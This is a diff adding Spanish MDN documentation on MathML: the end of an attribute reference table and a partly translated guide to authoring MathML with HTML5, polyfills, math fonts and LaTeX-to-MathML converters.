+      <td>{{ MathMLElement("math") }}</td>
+      <td>
+        <p>Si una expresión es demasiado larga para encajar en el ancho definido, este atributo establece el tratamiendo preferido.</p>
+      </td>
+    </tr>
+    <tr id="position">
+      <td>{{ unimplemented_inline() }} <code>position</code></td>
+      <td>{{ MathMLElement("msgroup") }}, {{ MathMLElement("msrow") }}, {{ MathMLElement("mscarries") }}, {{ MathMLElement("msline") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="rowalign">
+      <td><code>rowalign</code></td>
+      <td>{{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}</td>
+      <td>Especifica la alineación vertical de las celdas de la tabla.</td>
+    </tr>
+    <tr id="rowlines">
+      <td><code>rowlines</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Especifica los bordes de las filas de la tabla.</td>
+    </tr>
+    <tr id="rowspacing">
+      <td><code>rowspacing</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Especifica el espacio entre las filas de la tabla.</td>
+    </tr>
+    <tr id="rowspan">
+      <td><code>rowspan</code></td>
+      <td>{{ MathMLElement("mtd") }}</td>
+      <td>Un valor entero no negativo que indica el númerp de filas que se extiende las celdas.</td>
+    </tr>
+    <tr id="rspace">
+      <td><code>rspace</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>La cantidad de espacios luego del operador.</td>
+    </tr>
+    <tr id="rquote">
+      <td><code>rquote</code></td>
+      <td>{{ MathMLElement("ms") }}</td>
+      <td>La marca de cierre de cita que encierra el contenido. El valor predeterminado es "<code>&amp;quot;</code>".</td>
+    </tr>
+    <tr id="scriptlevel">
+      <td><code>scriptlevel</code></td>
+      <td>{{ MathMLElement("mstyle") }}</td>
+      <td>Controles sobre el tamaño de la fuente. Cuando mayor sea el nivel del script, menor el tamaño de la fuente.</td>
+    </tr>
+    <tr id="scriptminsize">
+      <td><code>scriptminsize</code></td>
+      <td>{{ MathMLElement("mstyle") }}</td>
+      <td>Especifica el minimo tamaño de fuente permitidos debido a cambios en <code>scriptlevel</code>.<br>
+        Comenzando con Gecko 20.0 {{geckoRelease("20")}} valores sin unidades y porcentajes son permitidos y se interpretan como multiplos de "8pt".</td>
+    </tr>
+    <tr id="scriptsizemultiplier">
+      <td><code>scriptsizemultiplier</code></td>
+      <td>{{ MathMLElement("mstyle") }}</td>
+      <td>Especifica el multiplicador a ser utilizado para ajustar el tamaño de fuente debidp a cambios en <code>scriptlevel</code>.</td>
+    </tr>
+    <tr id="selection">
+      <td><code>selection</code></td>
+      <td>{{ MathMLElement("maction") }}</td>
+      <td>El elemento secundario al cual se dirige la acción.</td>
+    </tr>
+    <tr id="separator">
+      <td><code>separator</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>No existe efecto visual para este elemento, pero especifica si el operador es un separador (como las comas).</td>
+    </tr>
+    <tr id="separators">
+      <td><code>separators</code></td>
+      <td>{{ MathMLElement("mfenced") }}</td>
+      <td>Una secuencia de ceros o más caracteres a ser usados por diferentes separadores.</td>
+    </tr>
+    <tr id="shift">
+      <td>{{ unimplemented_inline() }} <code>shift</code></td>
+      <td>{{ MathMLElement("msgroup") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="side">
+      <td>{{ unimplemented_inline() }} <code>side</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Especifica la posición donde los elementos{{ MathMLElement("mlabeledtr") }} deberían ser posicionados.</td>
+    </tr>
+    <tr id="src">
+      <td>{{ unimplemented_inline() }} <code>src</code></td>
+      <td>{{ MathMLElement("mglyph") }}</td>
+      <td>La ubicación de la imagen.</td>
+    </tr>
+    <tr id="stackalign">
+      <td>{{ unimplemented_inline() }} <code>stackalign</code></td>
+      <td>{{ MathMLElement("mstack") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="stretchy">
+      <td><code>stretchy</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>Especifica si el operador se extiende hasta el tamaño del elemento adyacente.</td>
+    </tr>
+    <tr id="subscriptshift">
+      <td><code>subscriptshift</code></td>
+      <td>{{ MathMLElement("mmultiscripts") }}, {{ MathMLElement("msub") }}, {{ MathMLElement("msubsup") }}</td>
+      <td>El espacio mínimo por el que se desplace el subíndice por debajo de la línea de base de la expresión.</td>
+    </tr>
+    <tr id="supscriptshift">
+      <td><code>supscriptshift</code></td>
+      <td>{{ MathMLElement("mmultiscripts") }}, {{ MathMLElement("msup") }}, {{ MathMLElement("msubsup") }}</td>
+      <td>El espacio mínimo por el que se desplace el superíndice por encima de la línea de base de la expresión.</td>
+    </tr>
+    <tr id="symmetric">
+      <td><code>symmetric</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>
+        <p>Si <code>stretchy</code> es <code>true</code>, este  atributo especifica si el operador debe estar simetrico verticalmente al eje imaginario de matemáticas (linea centrada de fracción).</p>
+      </td>
+    </tr>
+    <tr id="voffset">
+      <td><code>voffset</code></td>
+      <td>{{ MathMLElement("mpadded") }}</td>
+      <td>Ajusta la posición vertical del contenido secundario.</td>
+    </tr>
+    <tr id="width">
+      <td><code>width</code></td>
+      <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }}</td>
+      <td>Especifica el ancho deseado. Ver <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">longitudes</a> para posibles valores.</td>
+    </tr>
+    <tr id="xlink-href">
+      <td><code>xlink:href</code></td>
+      <td><em>All</em></td>
+      <td>Puede ser usado para establecer un hyperlink para determinada URL. Sin embargo, se ainma a los autores a usar el atributo <code>href</code> en su lugar.</td>
+    </tr>
+    <tr id="xmlns">
+      <td><code>xmlns</code></td>
+      <td>{{ MathMLElement("math") }}</td>
+      <td>Especifica la URL para el espacio de nombres MathML (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/es/web/mathml/authoring/index.html b/files/es/web/mathml/authoring/index.html
new file mode 100644
index 0000000000..774c910cea
--- /dev/null
+++ b/files/es/web/mathml/authoring/index.html
@@ -0,0 +1,377 @@
+---
+title: Redacción de MathML
+slug: Web/MathML/Authoring
+translation_of: Web/MathML/Authoring
+---
+<p>Este artículo explica como redactar funciones matemáticas utilizando el lenguaje MathML. Al igual que HTML, MathML puede describirse con etiquetas y atributos. HTML puede volverse interminable cuando tu documento contiene estructuras avanzadas como listas o tablas pero afortunadamente existen varios generadores, desde simple notaciones, editores WYSIWYG y otros Sistemas de Administración de Contenido (CMS) utilizados para la creación de páginas web.</p>
+
+<p>Las notaciones Matemáticas son aún más complejas con estructuras que contienen fracciones, raíces cuadradas o matrices que seguramente requerirán sus propias etiquetas. Como consecuencia, las buenas herramientas de redacción de MathML son importantes y más adelante describimos algunas opciones. En particular, el équipo MathML de Mozilla ha creado <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a>, un convertor de LaTeX a MathML compatible con Unicode, para ser utilizado en muchos scenari descrito ahí. Desde luego, la lista no es de ninguna manera definitiva y estás invitado a revisar la <a class="external" href="http://www.w3.org/Math/Software/">Lista de Software MathML de W3C</a> donde puedes encontrar diferentes herramientas.</p>
+
+<p>Hay que señalar que por diseño, MathML está bien integrado en HTML5 y particularmente puedes utilizar las características Web comunes como CSS, DOM, Javascript o SVG. Esto está fuera del ámbito de este artículo pero cualquiera con conocimientos básicos de lenguajes Web será capaz de combinar fácilmente estas características con MathML. Revisa <a href="/en-US/docs/Mozilla/MathML_Project#Sample_MathML_Documents" title="/en-US/docs/Mozilla/MathML_Project#Sample_MathML_Documents">nuestros demos</a> y <a href="https://developer.mozilla.org/en-US/docs/Web/MathML" title="en/MathML/Element">referencias de MathML</a> para más detalles.</p>
+
+<h2 id="Fundamentos">Fundamentos</h2>
+
+<h4 id="Example_in_HTML5_(text/html)" name="Example_in_HTML5_(text/html)">Utilizar MathML en páginas HTML</h4>
+
+<p>Puedes utilizar MathML dentro de un documento HTML5:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;title&gt;MathML in HTML5&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+  &lt;h1&gt;MathML in HTML5&lt;/h1&gt;
+
+  &lt;p&gt;
+    Square root of two:
+    &lt;math&gt;
+      &lt;msqrt&gt;
+        &lt;mn&gt;2&lt;/mn&gt;
+      &lt;/msqrt&gt;
+    &lt;/math&gt;
+  &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt; </pre>
+
+<p>Content MathML no esta soportado por el navegador. Es recomendable convertir tu content MathML markup en Presentation MathML  antes de publicarlo, por ejemplo con la ayuda de la hoja de calculo  <a class="external external-icon" href="http://code.google.com/p/web-xslt/source/browse/trunk/#trunk/ctop">ctop.xsl</a>  . Las herramientas mencionadas en esta pagina generan Presentation MathML.</p>
+
+<h4 id="sect1"> </h4>
+
+<h4 id="Para_navegadores_sin_soporte_a_MathML">Para navegadores sin soporte a MathML</h4>
+
+<p>Desafortunadamente, algunos navegadores no son capaces  de  renderizar ecuaciones MathML o tienen un soporte limitado. Por lo tanto necesitará  usar  MathML polyfill para proveer el renderizado. Si necesita solo construcciones matematicas básicas tales como las utilizadas  en esta wiki de MDN entonces una pequeña hoja de cálculo <a href="https://github.com/fred-wang/mathml.css">mathml.css</a>  podria  ser suficiente. Para usarlo, solo inserta una linea en el header de tu documento:</p>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://fred-wang.github.io/mathml.css/mspace.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span></code></pre>
+
+<p>If you need more complex constructions, you might instead consider using the heavier <a href="http://www.mathjax.org" title="http://www.mathjax.org">MathJax</a> library as a MathML polyfill:</p>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://fred-wang.github.io/mathjax.js/mpadded.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span></code></pre>
+
+<p>Note that these two scripts perform feature detection of the <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mspace">mspace</a> or <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mpadded">mpadded</a> elements (see the browser compatibility table on these pages). If you don't want to use this link to GitHub but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of MathML support. For example the following function verifies the MathML support by testing the mspace element (you may replace <code>mspace</code> with <code>mpadded</code>):</p>
+
+<pre class="brush: js  language-js"><code class="language-js"> <span class="keyword token">function</span> <span class="function token">hasMathMLSupport<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> div <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement<span class="punctuation token">(</span></span><span class="string token">"div"</span><span class="punctuation token">)</span><span class="punctuation token">,</span> box<span class="punctuation token">;</span>
+  div<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> <span class="string token">"&lt;math&gt;&lt;mspace height='23px' width='77px'/&gt;&lt;/math&gt;"</span><span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild<span class="punctuation token">(</span></span>div<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  box <span class="operator token">=</span> div<span class="punctuation token">.</span>firstChild<span class="punctuation token">.</span>firstChild<span class="punctuation token">.</span><span class="function token">getBoundingClientRect<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">removeChild<span class="punctuation token">(</span></span>div<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">return</span> Math<span class="punctuation token">.</span><span class="function token">abs<span class="punctuation token">(</span></span>box<span class="punctuation token">.</span>height <span class="operator token">-</span> <span class="number token">23</span><span class="punctuation token">)</span> <span class="operator token">&lt;</span><span class="operator token">=</span> <span class="number token">1</span>  <span class="operator token">&amp;&amp;</span> Math<span class="punctuation token">.</span><span class="function token">abs<span class="punctuation token">(</span></span>box<span class="punctuation token">.</span>width <span class="operator token">-</span> <span class="number token">77</span><span class="punctuation token">)</span> <span class="operator token">&lt;</span><span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Alternatively, the following UA string sniffing will allow to detect the rendering engines with native MathML support (Gecko and WebKit). Note that UA string sniffing is not the most reliable method and might break from version to version:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> ua <span class="operator token">=</span> navigator<span class="punctuation token">.</span>userAgent<span class="punctuation token">;</span>
+<span class="keyword token">var</span> isGecko <span class="operator token">=</span> ua<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">"Gecko"</span><span class="punctuation token">)</span> <span class="operator token">&gt;</span> <span class="operator token">-</span><span class="number token">1</span> <span class="operator token">&amp;&amp;</span> ua<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">"KHTML"</span><span class="punctuation token">)</span> <span class="operator token">==</span><span class="operator token">=</span> <span class="operator token">-</span><span class="number token">1</span> <span class="operator token">&amp;&amp;</span> ua<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">'Trident'</span><span class="punctuation token">)</span> <span class="operator token">==</span><span class="operator token">=</span> <span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> isWebKit <span class="operator token">=</span> ua<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">'AppleWebKit'</span><span class="punctuation token">)</span> <span class="operator token">&gt;</span> <span class="operator token">-</span><span class="number token">1</span> <span class="operator token">&amp;&amp;</span> ua<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">'Chrome'</span><span class="punctuation token">)</span> <span class="operator token">==</span><span class="operator token">=</span> <span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="sect2"> </h4>
+
+<p>Mathematical fonts</p>
+
+<p><strong>Note: browsers can only use a limited set of mathematical fonts to draw stretchy MathML operators. However, implementation of the OpenType MATH table is in progress in Gecko &amp; WebKit. This will provide a generic support for mathematical fonts and simplify the settings described in this section.</strong></p>
+
+<p>To get a good mathematical rendering in browsers, some <a href="https://developer.mozilla.org/docs/Mozilla/MathML_Project/Fonts" title="/docs/Mozilla/MathML_Project/Fonts">MathML fonts</a> are required. It's a good idea to provide to your visitors a link to the <a href="https://developer.mozilla.org/docs/Mozilla/MathML_Project/Fonts" title="/docs/Mozilla/MathML_Project/Fonts">MDN page that explains how to install MathML fonts</a>. Alternatively, you can just make them available as Web fonts. You can get these fonts from the <a href="https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/" title="https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/">MathML-fonts add-on</a> ; the xpi is just a zip archive that you can fetch and extract for example with the following command:</p>
+
+<pre class="brush: bash  language-html"><code class="language-html">wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -O mathml-fonts.zip; \
+unzip mathml-fonts.zip -d mathml-fonts</code></pre>
+
+<p>Then copy the <code>mathml-fonts/resource/</code> directory somewhere on your Web site and ensure that the woff files are served with the correct MIME type. Finally, include the <code>mathml-fonts/resource/mathml.css</code> style sheet in your Web pages, for example by adding the following rule to the default style sheet of your Web site:</p>
+
+<pre class="brush: css  language-css"><code class="language-css"><span class="atrule token">@import url('/path/to/resource/mathml.css')</span><span class="punctuation token">;</span></code></pre>
+
+<p><span>You then need to modify the font-family on the &lt;math&gt; elements and</span>, for Gecko, the on ::-moz-math-stretchy pseudo element too. For example to use STIX fonts:</p>
+
+<pre class="language-html"><span class="brush: css"><span class="brush: css">math {
+  font-family: STIXGeneral;
+}
+
+</span>::-moz-math-stretchy {
+  font-family: STIXNonUnicode, STIXSizeOneSym, STIXSize1, STIXGeneral;
+}
+</span></pre>
+
+<p><span>Try the <a href="https://developer.mozilla.org/docs/Mozilla/MathML_Project/MathML_Torture_Test" title="/docs/Mozilla/MathML_Project/MathML_Torture_Test">MathML torture test</a></span> to compare the rendering of various fonts and the CSS rules to select them.</p>
+
+<h4 id="Utilizar_MathML_en_documentos_XML_(XHTML_EPUB_etc.)">Utilizar MathML en documentos XML (XHTML, EPUB, etc.)</h4>
+
+<p>Si por alguna razón necesitas utilizar MathML en documentos XML, asegúrate de cumplir con los requisitos habituales: documentos bien realizados, el uso correcto de la especificación MIME, el prefijo MathML <code>"http://www.w3.org/1998/Math/MathML"</code> en la raíz<code> &lt;math&gt;</code>. Por ejemplo, la versión XHTML del ejemplo anterior luce de esta manera:<br>
+  </p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
+  "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+ &lt;title&gt;XHTML+MathML Example&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;XHTML+MathML Example&lt;/h1&gt;
+
+  &lt;p&gt;
+    Square root of two:
+    &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
+      &lt;msqrt&gt;
+        &lt;mn&gt;2&lt;/mn&gt;
+      &lt;/msqrt&gt;
+    &lt;/math&gt;
+  &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt; </pre>
+
+<p>Note that if you use MathML as a standalone .mml or .svg documents or inside an EPUB book, it may not always be possible to use MathJax as a polyfill for rendering engines without MathML support. Hence whether MathML can be handled will vary according to the tools used to read these documents.</p>
+
+<h4 id="Utilizar_MathML_en_correos_electrónicos">Utilizar MathML en correos electrónicos</h4>
+
+<p>Los clientes de correos modernos pueden enviar y recibir correos electrónicos en el formato HTML5 y por lo tanto pueden manejar expresiones de tipo MathML. Asegúrate de tener las opciones de "Enviar como HTML" y "Ver como HTML" habilitadas. En Thunderbird, puedes utilizar el comando "Insertar HTML" para pegar tu código HTML+MathML. <a href="http://disruptive-innovations.com/zoo/MathBird/" title="http://disruptive-innovations.com/zoo/MathBird/">MathBird</a> es un complemento conveniente de Thunderbird para insertar este tipo de expresiones MathML utilizando la sintaxis AsciiMath.<br>
+ <br>
+ De nuevo, la forma en como MathML es manejada y la calidad de cómo se muestran estas expresiones <a href="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121" title="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121">depende del cliente de correo electrónico</a>. Aún si tu navegador es compatible con MathML, tu servicio de correo electrónico puede evitar que envíes o recibas correos con expresiones MathML.</p>
+
+<h2 id="Conversion_from_a_Simple_Syntax">Conversion from a Simple Syntax</h2>
+
+<p>There are many simple notations (e.g. wiki or markdown syntaxes) to generate HTML pages. The same is true for MathML: for example ASCII syntaxes as used in calculators or the more powerful LaTeX language, very popular among the scientific community. In this section, we present some of these tools to convert from a simple syntax to MathML.</p>
+
+<ul>
+ <li>pros:
+  <ul>
+   <li>Writing mathematical expressions may only require a standard text editor.</li>
+   <li>Many tools are available, some of them are compatible with the classical LaTeX-to-pdf workflow.</li>
+   <li>This gives access to advanced features of LaTeX like macros.</li>
+  </ul>
+ </li>
+ <li>cons:
+  <ul>
+   <li>This may be harder to use: people must learn a syntax, typos in the code may easily lead to parsing or rendering errors etc</li>
+   <li>The interface is not user-friendly: only code editor without immediate display of the mathematical expression.</li>
+   <li>None of the syntax has been standardized, making cross-compatibility between converters difficult. Even the popular LaTeX language keeps having new packages added.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Client-side_Conversion">Client-side Conversion</h3>
+
+<p>In a Web environment, the most obvious method to convert a simple syntax into a DOM tree is to use Javascript and of course many libraries have been developed to perform that task.</p>
+
+<ul>
+ <li>pros:
+  <ul>
+   <li>This is very easy setup: only a few Javascript and CSS files to upload and/or a link to add to your document header.</li>
+   <li>This is a pure Web-based solution: everything is done by the browsers and no other programs must be installed or compiled.</li>
+  </ul>
+ </li>
+ <li>cons:
+  <ul>
+   <li>This won't work if the visitor has Javascript disabled.</li>
+   <li>The MathML code is not exposed to Web crawlers (e.g. those of math search engines or feed aggregators). In particular, your content won't show up properly on Planet.</li>
+   <li>The conversion must be done at each page load, may be slow and may conflict with the HTML parsing (e.g. "&lt;" for tags or "$" for money amounts)</li>
+   <li>You may need to synchronize the Javascript converter with other Javascript programs on your page.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> has an <a href="https://github.com/fred-wang/x-tex">&lt;x-tex&gt;</a> custom element, that can be used to write things like</p>
+
+<pre class="language-html"><span class="brush: html">&lt;<span class="start-tag">x-tex</span>&gt;</span><span>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</span><span class="brush: html">&lt;/<span class="end-tag">x-tex</span>&gt;</span></pre>
+
+<p>and get it automatically converted into MathML. This is still a work-in-progress, but could be improved in the future thanks to Web Components and shadow DOM. Alternatively, you can use the more traditional <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript parsing of expressions at load time</a> as all the other tools in this section do.</p>
+
+<p>One simple client-side conversion tools is <a href="http://www1.chapman.edu/%7Ejipsen/mathml/asciimath.html" title="http://www1.chapman.edu/~jipsen/mathml/asciimath.html">ASCIIMathML</a>. Just download the <a href="http://mathcs.chapman.edu/%7Ejipsen/mathml/ASCIIMathML.js" title="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js">ASCIIMathML.js</a> script and copy it to your Web site. Then on your Web pages, add a <code>&lt;script&gt;</code> tag to load ASCIIMathML and the mathematical expressions delimited by <code>`</code> (grave accent) will be automatically parsed and converted to MathML:</p>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+...
+<span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>ASCIIMathML.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span>
+...
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+...
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>blah blah `x^2 + y^2 = r^2` blah ...
+...</code></pre>
+
+<p><a href="http://math.etsu.edu/LaTeXMathML/" title="http://math.etsu.edu/LaTeXMathML/">LaTeXMathML</a> is a similar script that allows to parse more LaTeX commands. The installation is similar: copy <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js">LaTeXMathML.js</a> and <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css">LaTeXMathML.standardarticle.css</a>, add links in the header of your document and the LaTeX content of your Web page marked by the "LaTeX" class will be automatically parsed and converted to HTML+MathML:</p>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+...
+<span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>LaTeXMathML.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>link</span> <span class="attr-name token">rel</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>stylesheet<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/css<span class="punctuation token">"</span></span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>LaTeXMathML.standardarticle.css<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+...
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+...
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>LaTeX<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+\documentclass[12pt]{article}
+
+\begin{document}
+
+\title{LaTeXML Example}
+\maketitle
+
+\begin{abstract}
+This is a sample LaTeXML document.
+\end{abstract}
+
+\section{First Section}
+
+  $$ \sum_{n=1}^{+\infty} \frac{1}{n^2} = \frac{\pi^2}{6} $$
+
+\end{document}
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+...</code></pre>
+
+<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> is another script to parse a simple LaTeX-like syntax but which also accepts non-ASCII characters like  <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π</code>  to write <math> <mrow> <msqrt> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π</mi> </mrow> </math>. The installation is similar: download and copy the relevant <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript and CSS files</a> on your Web site and reference them in your page header (see the <code>COPY-ME.html</code> file from the zip archive for an example). One of the advantage of jqMath over the previous scripts is that it will automatically add some simple CSS rules to do the mathematical layout and make the formulas readable on browsers with limited MathML support.</p>
+
+<p><a name="mathjax"></a>Another way to work around the lack of MathML support in some browsers is to use <a href="http://www.mathjax.org/" title="http://www.mathjax.org/">MathJax</a>. However, note that you may find conflicts and synchronization issues between MathJax and the Javascript libraries previously mentioned. So if you really want to use MathJax as a MathML polyfill, you'd better use its own LaTeX/ASCIIMath parsers too. Note that on the one hand MathJax has better parsing and rendering support but on the other hand it is much bigger, more complex and slower than the previous Javascript libraries. Fortunately, you can use MathJax's CDN so that you don't need to install it on your Web server. Also, the slowest part of MathJax is currently its HTML-CSS / SVG output modes so we recommend to use the Native MathML output for Gecko-based browsers. Hence a typical configuration to use the AMS-LaTeX input is:</p>
+
+<pre class="brush: html  language-html"><code class="language-html">...
+    <span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/x-mathjax-config<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      MathJax<span class="punctuation token">.</span>Hub<span class="punctuation token">.</span><span class="function token">Config<span class="punctuation token">(</span></span><span class="punctuation token">{</span>
+        MMLorHTML<span class="punctuation token">:</span> <span class="punctuation token">{</span> prefer<span class="punctuation token">:</span> <span class="punctuation token">{</span> Firefox<span class="punctuation token">:</span> <span class="string token">"MML"</span> <span class="punctuation token">}</span> <span class="punctuation token">}</span>
+      <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span>
